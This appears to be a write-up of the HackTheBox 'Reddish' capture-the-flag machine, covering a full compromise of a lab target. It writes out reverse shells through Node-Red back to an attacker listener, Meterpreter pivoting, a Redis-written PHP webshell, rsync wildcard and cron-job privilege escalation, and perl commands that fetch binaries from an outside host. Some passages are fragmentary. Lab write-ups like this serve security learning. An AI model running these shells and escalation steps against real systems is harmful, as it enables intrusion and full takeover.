On visiting that path, now in the Node-Red editor:
The editor has items grouped as “input”, “output”, “function”, “social”, “storage”, “analysis”, and “advanced”. Clicking on any given item will load a description of the item in the panel on the right.
Items can be dragged into the center pane, and connected with wires. Once my flow is complete, I’ll hit “Deploy”, and the flow is live. Some inputs also have a button on their left side. That item will generate its output when the button is pressed. For example, this “inject” will output a timestamp when the button is pressed.
Code Execution and getShell in Node-Red
In playing around with the editor, built a few useful flows that will help with exploitation of Reddish. Flows show up nicely as images, but can also be imported/exported in json. Just go to the menu, import, clipboard, and paste in the json.
It will initiate the connection when the the flow to output > is sent to stdin of the tcp connection. The TCP connection will come back to me. Then whatever I send back is sent to exec. The output of that is formatted and a prompt is added, and then sent back into the TCP connection, where I’ll receive it. Here’s the export:
first import the commads then deploy it and click the button , then i recive a shell
1 2 3 4 5 6 7 8 9 10 11
root@kali:~/hackthebox/machine/reddish# nc -lvp 9001 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 10.10.10.94. Ncat: Connection from 10.10.10.94:39270. > id uid=0(root) gid=0(root) groups=0(root)
> whoami root
Callback Shell
In investigating the box, it’s incredibly bare: no python, python3, php, nc, ifconfig, netstat, arp. There is perl though.
I’ll use the perl reverse shell from
PentestMonkey
to get a proper callback shell. The exec node runs a command. In this case, I’ll configure it to take input for the port, which is inserted into the middle of the command:
first import the commads then deploy it and click the button , then i recive a shell
1 2 3 4 5 6 7 8 9 10 11
root@kali:~# nc -lvp 9002 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::9002 Ncat: Listening on 0.0.0.0:9002 Ncat: Connection from 10.10.10.94. Ncat: Connection from 10.10.10.94:46916. /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # whoami root
File Upload
Since the box doesn’t have curl or wget or nc, created a file upload flow, that would callback to a given port, and then what it reads to /tmp/.df/upload:
The string “9003” is not used by the TCP node, just there because needed something, and it was a good visual reminder as to what port the flow expected.
nodered Container
Local Enumeration
The local box is quite bare. I’m already running as root. As mentioned before, almost none of programs I’d expect on a linux host are present. Also, none of the IP addresses match 10.10.10.94:
1 2 3 4 5 6 7 8 9 10 11 12 13
# ip addr 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 7: eth1@if8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:13:00:02 brd ff:ff:ff:ff:ff:ff inet 172.19.0.2/16 brd 172.19.255.255 scope global eth1 valid_lft forever preferred_lft forever 9: eth0@if10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0 valid_lft forever preferred_lft forever
conclude in a container, and didn’t find much else of interest in it. Since in a container, start tracking what I know about it:
Network Enumeration
It’s fairly clear I need to move outside this container, and since there’s no obvious path to the host, I’ll look around the environment.
Check arp
The arp cache shows only the two .1 ips, which are likely the host:
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-07-24 10:57 UTC Unable to find nmap-services! Resorting to /etc/services Cannot find nmap-payloads. UDP payloads are disabled. Nmap scan report for 172.18.0.1 Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed Host is up (0.00016s latency). Not shown: 65534 closed ports PORT STATE SERVICE 1880/tcp open unknown MAC Address: 02:42:1F:A4:77:C3 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 15.01 seconds # ./nmap -p- -sT --min-rate 5000 172.19.0.1
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-07-24 10:57 UTC Unable to find nmap-services! Resorting to /etc/services Cannot find nmap-payloads. UDP payloads are disabled. Nmap scan report for 172.19.0.1 Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed Host is up (0.00013s latency). Not shown: 65534 closed ports PORT STATE SERVICE 1880/tcp filtered unknown MAC Address: 02:42:F2:E9:5E:A1 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 14.98 seconds
Ping Sweep
Next start a ping sweep to look for other hosts/containers, and find two other hosts worth looking at in the 172.19.0.0/24 subnet. Based on my current ifconfig and my assumption about the .1s being the gateway, I can label the output leaving two unknowns:
1 2 3 4 5 6 7 8
# for i in $(seq 1 254); do (ping -c 1 172.18.0.$i | grep "bytes from" | cut -d':' -f1 | cut -d' ' -f4 &); done 172.18.0.1 <-- host 172.18.0.2 <-- node-red container # for i in $(seq 1 254); do (ping -c 1 172.19.0.$i | grep "bytes from" | cut -d':' -f1 | cut -d' ' -f4 &); done 172.19.0.2 172.19.0.1 <-- host 172.19.0.3 <-- nodered container 172.19.0.4
got two new hosts to track:
Pivoting
Overview
There’s many ways to set up tunnels to allow my pivot here. A few that come to mind are:
Get a meterpreter session with nodered, and use the portfwd capability to tunnel from my local box into the network (like ssh tunneling).
Copy an ssh client to nodered, and ssh back into my kali box with a reverse tunnel.
Build a listening interface (likely web) with NodeRed, and use that to tunnel traffic.
Using software designed for tunneling.
Getting Meterpreter
Open a handler with payload linux/x64/shell/reverse_tcp, and catch a callback from flow:
Name Current Setting Required Description ---- --------------- -------- -----------
Payload options (linux/x64/shell/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 9002 yes The listen port
Exploit target:
Id Name -- ---- 0 Wildcard Target
msf5 exploit(multi/handler) > set lhost 10.10.14.9 lhost => 10.10.14.9 msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.9:9002 [*] Sending stage (38 bytes) to 10.10.10.94 [*] Command shell session 1 opened (10.10.14.9:9002 -> 10.10.10.94:47014) at 2020-07-25 12:40:43 -0400
id /bin/sh: 1: j^H��j!Xu�j: not found /bin/sh: 1: X�H�/bin/shSH��RWH��id: not found
For some reason, the first command run in this new shell can be garbage and fail. After making sure to get that out of the way, I’ll background the session (ctrl-z):
1 2 3 4
# id uid=0(root) gid=0(root) groups=0(root) # ^Z Background session 1? [y/N] y
Metasploit has a built in upgrade path to Meterpreter using sessions -u:
Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell x64/linux /bin/sh: 0: can't access tty; job control turned off # 10.10.14.9:9002 -> 10.10.10.94:47014 (10.10.10.94) 2 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 @ 172.18.0.2 10.10.14.9:4433 -> 10.10.10.94:50690 (172.18.0.2) msf5 exploit(multi/handler) > sessions -i 2 [*] Starting interaction with 2... meterpreter >
www redis Containers
Note About IPs
One thing to note - on each reset / boot, Docker seems to randomize the IP addresses of the three containers, nodered, www, and redis. They always seem to be .2, .3, and .4, but which is which is something I need to determine each time. For the sake of this post, I’m working with redis as .2, nodered as .3, and www as .4.
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-07-24 11:19 UTC Unable to find nmap-services! Resorting to /etc/services Cannot find nmap-payloads. UDP payloads are disabled. Nmap scan report for reddish_composition_redis_1.reddish_composition_internal-network (172.19.0.2) Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed Host is up (0.00016s latency). Not shown: 65534 closed ports PORT STATE SERVICE 6379/tcp open unknown MAC Address: 02:42:AC:13:00:02 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 2.49 seconds # ./nmap -p- -sT --min-rate 5000 172.19.0.4
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-07-24 11:19 UTC Unable to find nmap-services! Resorting to /etc/services Cannot find nmap-payloads. UDP payloads are disabled. Nmap scan report for reddish_composition_www_1.reddish_composition_internal-network (172.19.0.3) Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed Host is up (0.00016s latency). Not shown: 65534 closed ports PORT STATE SERVICE 80/tcp open http MAC Address: 02:42:AC:13:00:03 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 2.39 seconds
can see the docker names, reddish_composition_redis_1 and reddish_composition_www_1, and the listening ports which fit for each server, 6379 for redis, and 80 for www.
Web Site
Access I’ll use the meterpreter shell to port forward localhost 80 through the session to 172.19.0.3:
/* * TODO * * 1. Share the web folder with the database container (Done) * 2. Add here the code to backup databases in /f187a0ec71ce99642e4f0afbd441a68b folder * ...Still don't know how to complete it... */ function backupDatabase() { $.ajax({ url: "8924d0549008565c554f8128cd11fda4/ajax.php?backup=...", cache: false, dataType: "text", success: function (data) { console.log("Database saved:", data); }, error: function () { } }); } </script> </head> <body><h1>It works!</h1> <p>This is the default web page for this server.</p> <p>The web server software is running but no content has been added, yet.</p> </body> </html>
There’s two important take-aways from this source:
1.There are ajax calls to 8924d0549008565c554f8128cd11fda4/ajax.php. Based on the parameters values for the text of get hits and incr hits (which look like redis commands), I can hypothesize that these commands are executed on the redis database.
There’s some self-proclaimed incomplete code having to do with backing up that database. It does indicate that the web folder is shared with the database container.
I can also test out these function in the firefox debug console:
1 2 3 4 5 6 7 8
13:17:49.521 getData() 13:17:49.668 undefined 13:17:51.757 Number of hits: 1 127.0.0.1:19:20 13:17:59.877 incrCounter() 13:17:59.884 undefined 13:18:05.446 getData() 13:18:05.453 undefined 13:18:07.953 Number of hits: 2
What about trying to exercise the backup function? Visiting
eventually has a timeout, which makes sense since the comments said it was not yet implemented:
1
Fatal error: Uncaught Exception: Cant read line from socket. in /var/www/html/8924d0549008565c554f8128cd11fda4/lib/Client.php:74 Stack trace: #0 /var/www/html/8924d0549008565c554f8128cd11fda4/lib/Client.php(101): Client->readLine() #1 /var/www/html/8924d0549008565c554f8128cd11fda4/ajax.php(9): Client->sendCmd(NULL) #2 {main} thrown in /var/www/html/8924d0549008565c554f8128cd11fda4/lib/Client.php on line 74
This error message does give me the absolute web path, which is the default apache path
1
/var/www/html
Database
So I can do some interaction with the database through the website and JavaScript… But I can also interact directly with the Redis database. Just like with www, I’ll use meterpreter to set up a tunnel into the subnet with www and redis:
This post on PacketStorm details how I can use Redis to write arbitrary files on disk. I can flush the database, write some data into it, and then back it up to a target location. The article talks about writing an SSH key. SSH isn’t enabled here, but, because I know that the database server shares disk space with www, I can write a web shell.
Exploit Limitations
This isn’t by any means perfect. For example, the database will compress repeated text patterns, so could I lose some of the text I want to write. So for example, when I tried to write into multiple places in a php file, only the first actually made it through as desired. Even if I tried using and , the second <br was replaced with binary data. Similarly, when I wrote a command to get a perl reverse shell, the pattern ,”>&S”); was replaced and thus broke the script.
Exploit to WebShell Luckily for me, I can write a simple php webshell, and there’s no repeats, and php doesn’t care about garbage before or after the shell.
root@kali:~# redis-cli -h 127.0.0.1 flushall OK root@kali:~# cat redis.txt | redis-cli -x set crackit OK root@kali:~# redis-cli 127.0.0.1:6379> config setdir /var/www/html/8924d0549008565c554f8128cd11fda4/ OK (0.60s) 127.0.0.1:6379> config set dbfilename "df.php" OK (0.60s) 127.0.0.1:6379> save OK (0.58s)
Now check out http://127.0.0.1/8924d0549008565c554f8128cd11fda4/df.php?cmd=id:
The files in the web directory seem to be cleared out every 3 minutes (I’ll confirm this soon), so scripted the upload:
upload_shell.sh
1 2 3 4 5 6 7
#!/bin/sh
redis-cli -h 127.0.0.1 flushall cat redis.txt | redis-cli -h 127.0.0.1 -x set crackit redis-cli -h 127.0.0.1 config setdir /var/www/html/8924d0549008565c554f8128cd11fda4/ redis-cli -h 127.0.0.1 config set dbfilename "df.php" redis-cli -h 127.0.0.1 save
then run the script:
1 2 3 4 5 6
root@kali:~/hackthebox/machine/reddish# ./upload_shell.sh OK OK OK OK OK
Interactive Shell
Connectivity socat
It doesn’t look like I can connect all the back to kali from this host. which ping returns /bin/ping, but trying to ping 10.10.14.9 doesn’t result in anything when watching in tcpdump. When I try to ping 172.19.0.3 (nodered), I get results
So I need to pivot through nodered. I’ll upload a static copy of socat to the box using the Node-Red flow for upload. Now I can use socat one of two ways:
Relay traffic through nodered back to kali
Catch the callback on nodered
do the first one, so in the shell on nodered, create a tunnel:
root@kali:~# nc -lvp 223 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::223 Ncat: Listening on 0.0.0.0:223 Ncat: Connection from 10.10.10.94. Ncat: Connection from 10.10.10.94:50210. /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ whoami www-data $ ip addr 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 11: eth0@if12: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:13:00:03 brd ff:ff:ff:ff:ff:ff inet 172.19.0.3/16 brd 172.19.255.255 scope global eth0 valid_lft forever preferred_lft forever 13: eth1@if14: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:14:00:02 brd ff:ff:ff:ff:ff:ff inet 172.20.0.2/16 brd 172.20.255.255 scope global eth1 valid_lft forever preferred_lft forever $ ls -la total 24 drwxr-xr-x 2 1000 1000 4096 Jul 16 2018 . drwxr-xr-x 5 root root 4096 Jul 15 2018 .. lrwxrwxrwx 1 root root 9 Jul 16 2018 .bash_history -> /dev/null -rw-r--r-- 1 1000 1000 220 Apr 23 2018 .bash_logout -rw-r--r-- 1 1000 1000 3771 Apr 23 2018 .bashrc -rw-r--r-- 1 1000 1000 655 Apr 23 2018 .profile -r-------- 1 1000 1000 33 Apr 23 2018 user.txt
ajax.php, which shows the commands running at the redis server:
1 2 3 4 5 6 7 8 9 10 11 12
$ cat ajax.php <?php
require_once 'lib/Autoloader.php'; Autoloader::register(); $json = new JsonResult(); $config = new Config(); foreach ($config->getPool() as $key => $server) { $client = new Client($server); $result = $client->sendCmd($_GET['test']); echo$result; }
Privesc www-data to usertxt
Identifying Backup Cron
To get to user.txt, I’ll need to privesc. Looking around the box, there wasn’t a ton going on, so I decided to look for interesting processes starting and stopping. I’ve been a huge fan of pspy in the past for this, but since I’m two hops deep at this point, I’ll just using a bash script:
Running it shows some interesting scripts being run about every 3 minutes:
1 2 3 4 5 6
$ ./proc.sh > /usr/sbin/CRON > /bin/sh -c sh /backup/backup.sh > sh /backup/backup.sh > rsync -a rsync://backup:873/src/backup/ /var/www/html/ > rsync -a rsync://backup:873/src/backup/ /var/www/html/
Looking at /backup/backup.sh, it is saving the database, then removing the web folders and bringing them back in from a host named backup:
1 2 3 4 5 6
$ cat /backup/backup.sh cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b rsync -a *.rdb rsync://backup:873/src/rdb/ cd / && rm -rf /var/www/html/* rsync -a rsync://backup:873/src/backup/ /var/www/html/ chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
Exploiting the Wildcard
I can exploit the command rsync -a *.rdb rsync://backup:873/src/rdb, specifically the wildcard character. Because of how Unix handles wildcards, I can create a file named -e sh p.rdb, and that will evaluate to run sh p.rdb. The technique is detailed here.
# perl -e 'use File::Fetch; my $url = "http://172.19.0.2:8080/socat"; my $ff = File::Fetch->new(uri => $url); my $file = $ff->fetch() or die $ff->error;'
The backup script not only provides a path to root on www, but it also tells me about another host, backup. If I ping -c 1 backup, I’ll see it resolves to 127.20.0.2. I’ll upload nmap to www and see what’s open:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
# ./nmap -p- --min-rate 5000 172.20.0.3
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-07-25 12:36 UTC Unable to find nmap-services! Resorting to /etc/services Cannot find nmap-payloads. UDP payloads are disabled. Nmap scan report for reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.2) Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed Host is up (0.000034s latency). Not shown: 65534 closed ports PORT STATE SERVICE 873/tcp open rsync MAC Address: 02:42:AC:14:00:02 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 22.23 seconds
open on 873, rsync, which is how www was connecting to it.
I’ll update my diagram:
rsync access
rsync gives me full read and write access to backup. I can read the file system:
I’ll use the read / write access to verify that cron is enabled, and then write one to get shell. There’s already a cron named clean in the folder, which is a good sign that cron is enabled:
# echo '* * * * * root sh /tmp/shell.sh' > shell # rsync -a shell rsync://backup:873/src/etc/cron.d/
Rather than tunnel everything thing back to kali, I’ll just use socat to listen on www in this case. That gets me a callback as root on backup:
1 2 3 4 5 6 7 8
# /socat TCP-LISTEN:9010 STDOUT /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # whoami root # hostname backup
reddish Host
File System Access
backup is rather bare, other than the information I already had. However, one of the mis-configurations that can come with docker is running with –privileged. There’s some detail on slide 20 here. That flag provides access to the raw devices in /dev on the host.
With write access to /etc/cron.d, I can get a root shell easily. And, reddish can talk directly home, so I don’t have to make tunnels, which is nice. Write a shell script:
root@kali:~# nc -lvp 9010 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::9010 Ncat: Listening on 0.0.0.0:9010 Ncat: Connection from 10.10.10.94. Ncat: Connection from 10.10.10.94:35526. /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # whoami root # ls root.txt # ifconfig /bin/sh: 4: ifconfig: not found # ip addr 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 00:50:56:b9:ef:a7 brd ff:ff:ff:ff:ff:ff inet 10.10.10.94/24 brd 10.10.10.255 scope global ens33 valid_lft forever preferred_lft forever 3: br-81dc9e600be9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:fe:5f:02:1f brd ff:ff:ff:ff:ff:ff inet 172.18.0.1/16 brd 172.18.255.255 scope global br-81dc9e600be9 valid_lft forever preferred_lft forever 4: br-91c5803ee070: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:7e:9a:4c:f3 brd ff:ff:ff:ff:ff:ff inet 172.20.0.1/16 brd 172.20.255.255 scope global br-91c5803ee070 valid_lft forever preferred_lft forever 5: br-d4a52cd704d0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:71:03:1d:13 brd ff:ff:ff:ff:ff:ff inet 172.19.0.1/16 brd 172.19.255.255 scope global br-d4a52cd704d0 valid_lft forever preferred_lft forever 6: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42:47:f2:fd:fd brd ff:ff:ff:ff:ff:ff inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0 valid_lft forever preferred_lft forever 8: vethff25d9b@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-d4a52cd704d0 state UP group default link/ether 5e:d0:0b:6f:0d:6f brd ff:ff:ff:ff:ff:ff link-netnsid 3 10: veth2f1092e@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-81dc9e600be9 state UP group default link/ether 6a:7e:bc:f7:0d:2e brd ff:ff:ff:ff:ff:ff link-netnsid 3 12: veth4ff04ec@if11: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-d4a52cd704d0 state UP group default link/ether 32:d6:19:ae:75:e5 brd ff:ff:ff:ff:ff:ff link-netnsid 0 14: veth2349c18@if13: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-91c5803ee070 state UP group default link/ether 06:9f:60:e4:c1:cd brd ff:ff:ff:ff:ff:ff link-netnsid 0 16: veth3bff539@if15: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-91c5803ee070 state UP group default link/ether 9a:c4:04:69:cd:5a brd ff:ff:ff:ff:ff:ff link-netnsid 2 18: veth01eea77@if17: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-d4a52cd704d0 state UP group default link/ether d2:d8:e2:80:45:09 brd ff:ff:ff:ff:ff:ff link-netnsid 1 19: virbr0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default qlen 1000 link/ether 52:54:00:a8:fd:d5 brd ff:ff:ff:ff:ff:ff inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0 valid_lft forever preferred_lft forever 20: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 qdisc pfifo_fast master virbr0 state DOWN group default qlen 1000 link/ether 52:54:00:a8:fd:d5 brd ff:ff:ff:ff:ff:ff
what a great and complicated box!
Beyond Root
Docker Configuration
Once I have root, I like to go back and look at how things were configured. In this case, the docker configuration is interesting.
The docker configuration files are stored in /opt/reddish_composition/:
1 2 3 4 5 6 7 8
# cd /opt/reddish_composition/ # ls apache docker-compose.yml multi-nodered redis rsync www
docker-compose.yml shows how the machines are run, including the shared volume between redis and www, how the networks are laid out, and that backup is running in privileged mode (<– comments added by me):
update picture of the docker network one last time:
Node-Red Collisions
When I first visit the node red site, what’s to keep me from running into other people and their flows? And, what was with the need to issue a POST request to get the url to the site? Turns out, those are related.
The code that’s running the NodeRed instance is in /node-red/multinodered.js:
# cat /opt/reddish_composition/multi-nodered/nodered/multinodered.js var http = require('http'); var express = require("express"); var crypto = require("crypto");
var id_list = [];
function createNodeREDInstance(server, app, ip) {
var id = crypto.createHash('md5').update(ip).digest("hex");
if (id_list.indexOf(id) > -1) { console.log("Instance already running:", id); returnid; } var RED = require("./red/red.js")(); //var id = crypto.randomBytes(16).toString('hex');
console.log("Creating new instance:", id);
// Create the settings object - see default settings.js file for other options var settings = { httpAdminRoot:"/red/"+id, httpNodeRoot: "/api/"+id, userDir:"./home/"+id, functionGlobalContext: { } // enables global context };
RED.init(server, settings);
// Serve the editor UI from /red app.use(settings.httpAdminRoot, RED.httpAdmin);
// Serve the http nodes UI from /api app.use(settings.httpNodeRoot, RED.httpNode);
RED.start();
id_list.push(id);
returnid; }
// Create an Express app var app = express();
// Add a simple route for static content served from 'public' app.use("/",express.static("public"));
app.post('/', function(req,res) { var ip = (req.headers['x-forwarded-for'] || req.connection.remoteAddress || req.socket.remoteAddress || req.connection.socket.remoteAddress).split(",")[0];
var id = createNodeREDInstance(server, app, ip); res.status(200).send({"id": id, "ip": ip, 'path': "/red/{id}"}); });
// Create a server var server = http.createServer(app);
server.listen(1880);
There’s no GET for this app, which explains the error. A POST will create a new NodeRed instance and return the id, and the id is what’s sent back to us.
Inside the createNodeREDInstance() function I see the id is just a hash of our ip (which works out really nice when multiple HTB players are trying to use this at the same time):
1
var id = crypto.createHash('md5').update(ip).digest("hex");
Creating Port Forwards with Dropbear
Setup
a dummy account on my kali box (named dummy). In /etc/passwd, the shell is set to /bin/false:
1
dummy:x:1001:1001::/home/dummy:/bin/false
That makes it much harder for someone who gets ahold of the key I’m about to create to do anything useful hacking into my host. If you try to ssh into box as dummy, it just closes:
1 2 3 4 5 6 7 8 9 10 11 12
root@kali# ssh dummy@localhost dummy@localhost's password: Linux kali 4.18.0-kali3-amd64 #1 SMP Debian 4.18.20-2kali2 (2018-11-30) x86_64 The programs included with the Kali GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Jan 17 06:28:18 2019 from 127.0.0.1 Connection to localhost closed.
use the -N flag to connect without a shell, and the -L, -R, -D flags to forward ports (check out Intro to SSH Tunneling for more details).
Build Dropbear
Dropbear is a statically compiled, relatively small ssh client that I will use to connect back to my kali box from nodered. I’ll grab the source from the website. I’ll copy the file to nodered using the file upload flow or the perl command to get a file over http:
1 2 3 4 5 6 7
# perl -e 'use File::Fetch; my $url = "http://10.10.14.9/dropbear-2018.76.tar.bz2"; my $ff = File::Fetch->new(uri => $url); my $file = $ff->fetch() or die $ff->error;'
# pwd /tmp
# ls dropbear-2018.76.tar.bz2
Open the archive with tar:
1 2 3 4 5 6
# tar xjvf dropbear-2018.76.tar.bz2 dropbear-2018.76/ dropbear-2018.76/termcodes.h dropbear-2018.76/dbmulti.c dropbear-2018.76/cli-runopts.c ...[snip]...
Now compile the software (the container has gcc and the minimum libraries to build this):
1 2 3 4 5 6 7 8
# cd dropbear-2018.76/ # ./configure && make checking for gcc... gcc checking whether the C compiler works... yes checking for C compiler default output file name... a.out checking for suffix of executables... checking whether we are cross compiling... no ...[snip]...
Generate Key Pair
Next generate a key pair to use with dropbearkey. It’s a simple program with only a few options. use -t rsa to make an RSA keypair, and -f .k to name the key file .k:
1 2 3 4 5
# ./dropbearkey -t rsa -f .k Generating 2048 bit rsa key, this may take a while... Public key portion is: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCFI9K2O4PVLSLLIJw2ExqYHtPUQTrcn+GKR3BRaD8Th+5CYIPMRQF8MK29tlgjdZh5MSf5RB4tsm523hMp6879tvi0Bzc0afZ8FKfaVjTwWsG/cbNFZzi4W5PpwsLkh9vbBgXhbPfdmMdz2uLZrsmPKVKXXkg/URz9vhiQelJAL0PcysIBh3c9CkJfNzzNJ2DHxY/OugnhQlObmLfOzkucP2DtTAZjYYCpc8cByzKS7vgo8rZLscf7QrN3LLKr8SFmjSnEcqxvIC1cVOpRju3kmfJxNY4ebcod1DaQtRYXC+K2byNwf5y3z3ahhW8dWJVLEcPH0bueuRVnYk3wfrjx root@nodered Fingerprint: sha1!! 78:53:6e:77:d8:da:ef:43:a7:c8:97:de:3c:a0:c4:d4:80:7d:f3:ab
Now put this public key into the authorized key file for dummy on my kali box. While this key is in that file, anyone who has the private key (.k) can ssh into my box, so I’ll want to leave this in place only long enough to get the tunnels set up.
Create Tunnel
Now use DropBear’s dbclient to ssh back, creating a tunnel to access the web page on www:
-R 8888:172.19.0.4:80 - listen on port 8888 on my kali host, and forward and traffic to 172.19.0.4 port 80. It’s important to note that my dummy user doesn’t have the privilege necessary to listen on a low port, like 80.
Now can access the website on www:
python auto-pwn script
reference to this writeup link
awesome write up and python script, i Worship the author…
print("What shell do you want?") print("[1] root@nodered") print("[2] www-data@www") print("[3] root@www") print("[4] root@backup") print("[5] root@reddish") print("[6] Exit") response = None while response not in ["1", "2", "3", "4", "5", "6"]: response = raw_input("Please enter a number 1-6: ").strip() if response == "6": sys.exit()
root@kali:~/hackthebox/machine/reddish# python autopwnreddish.py What shell do you want? [1] root@nodered [2] www-data@www [3] root@www [4] root@backup [5] root@reddish [6] Exit Please enter a number 1-6: 1 [+] Getting our id: OK (id = c507228abb96d45d0541fd5eacebd9dd) [+] Trying to bind to 10.10.14.9 on port 60000: Done [+] Waiting for connections on 10.10.14.9:60000: Got connection from 10.10.10.94 on port 36186 [+] Loading node-red flows: OK [+] Injecting base64-encoded socat: OK [+] Injecting socat reverse shell via nodejs [10.10.14.9:60000]: OK [*] Switching to interactive mode root@nodered:/node-red# $ id uid=0(root) gid=0(root) groups=0(root) root@nodered:/node-red# $ whoami root root@nodered:/node-red# $ cd ~ root@nodered:~# $ ls root@nodered:~# $ exit exit [*] Got EOF while reading in interactive $ $ exit [*] Closed connection to 10.10.10.94 port 36186 [*] Got EOF while sending in interactive root@kali:~/hackthebox/machine/reddish# python autopwnreddish.py What shell do you want? [1] root@nodered [2] www-data@www [3] root@www [4] root@backup [5] root@reddish [6] Exit Please enter a number 1-6: 5 [+] Getting our id: OK (id = c507228abb96d45d0541fd5eacebd9dd) [+] Trying to bind to 10.10.14.9 on port 60000: Done [+] Waiting for connections on 10.10.14.9:60000: Got connection from 10.10.10.94 on port 36192 [+] Loading node-red flows: OK [+] Injecting base64-encoded socat: OK [+] Injecting socat reverse shell via nodejs [10.10.14.9:60000]: OK [+] Uploading 83df6e1b.php on the www container via redis: OK (user = www-data@www) [+] Sending perl bind shell [www-data@www:62236] via 83df6e1b.php & trying to connect: OK [+] Exploiting wildcards for privesc. Wait at most 180 secs for rsync backup job to run: OK [+] Sending a cronjob forbind shell [root@backup:65274]. Please wait: OK [+] Sending reverse shell cronjob [10.10.14.9:60001] for root@host. Please wait: OK [+] Trying to bind to 10.10.14.9 on port 60001: Done [+] Waiting for connections on 10.10.14.9:60001: Got connection from 10.10.10.94 on port 49704 [*] Switching to interactive mode root@reddish:~# $ id id uid=0(root) gid=0(root) groups=0(root) root@reddish:~# $ whoami whoami root root@reddish:~# $ hostname hostname reddish root@reddish:~# $ ls ls root.txt root@reddish:~# $ cat root.txt cat root.txt 50d0db644c8d5ff5312ef3d17c2ed205
very very powerful scripts!!!
Summary of knowledge
Code Execution and getShell in Node-Red
Network Enumeration and ping sweep
upgrade path to Meterpreter using sessions -u
compolicated port forwarding tech
error information disclosure
redis service getshell
socat port forwarding
Exploiting the Wildcard and cronjob to privesc
perl and port forwarding to download file
use port 873 rsync service and cron job to getshell and privesc
beyong root research
Dropbear Create Tunnel and get root shell
python auto-pwn script
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
